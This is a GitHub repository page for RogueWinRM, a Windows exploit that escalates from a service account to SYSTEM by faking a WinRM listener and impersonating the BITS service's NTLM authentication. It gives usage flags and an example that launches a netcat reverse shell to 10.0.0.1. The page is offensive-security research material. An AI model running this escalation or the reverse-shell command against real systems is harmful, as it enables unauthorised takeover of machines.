Windows Local Privilege Escalation from Service Account to System
  • C++ 99.3%
  • C 0.7%
Find a file
2020-02-23 20:16:01 +01:00
spnegotokenhandler removed old and unused code 2020-02-23 20:16:01 +01:00
.gitattributes Update .gitattributes 2020-02-22 19:14:33 +01:00
base64.cpp RogueWinRM released 2019-12-03 00:00:37 +01:00
base64.h RogueWinRM released 2019-12-03 00:00:37 +01:00
LICENSE Initial commit 2019-12-02 23:58:04 +01:00
LocalNegotiator.cpp RogueWinRM released 2019-12-03 00:00:37 +01:00
LocalNegotiator.h RogueWinRM released 2019-12-03 00:00:37 +01:00
README.md Update README.md 2019-12-06 21:03:09 +01:00
RogueWinRM.cpp Added dynamic spnego headers generation 2020-02-22 18:57:56 +01:00
RogueWinRM.sln RogueWinRM released 2019-12-03 00:00:37 +01:00
RogueWinRM.vcxproj Added dynamic spnego headers generation 2020-02-22 18:57:56 +01:00
RogueWinRM.vcxproj.filters Added dynamic spnego headers generation 2020-02-22 18:57:56 +01:00
RogueWinRM.vcxproj.user RogueWinRM released 2019-12-03 00:00:37 +01:00

RogueWinRM

RogueWinRM is a local privilege escalation exploit that allows to escalate from a Service account (with SeImpersonatePrivilege) to Local System account if WinRM service is not running (default on Win10 but NOT on Windows Server 2019).

Briefly, it will listen for incoming connection on port 5985 faking a real WinRM service.
It's just a minimal webserver that will try to negotiate an NTLM authentication with any service that are trying to connect on that port.
Then the BITS service (running as Local System) is triggered and it will try to authenticate to our rogue listener. Once authenticated to our rogue listener, we are able to impersonate the Local System user spawning an arbitrary process with those privileges.

You can find a full technical description of this vulnerability at this link --> https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/

Usage

RogueWinRM

Mandatory args:
-p <program>: program to launch

Optional args:
-a <argument>: command line argument to pass to program (default NULL)
-l <port>: listening port (default 5985 WinRM)
-d : Enable Debugging output

Examples

RogueWinRM

Running an interactive cmd:

RogueWinRM.exe -p C:\windows\system32\cmd.exe

Running netcat reverse shell:

RogueWinRM.exe -p C:\windows\temp\nc64.exe -a "10.0.0.1 3001 -e cmd"

Authors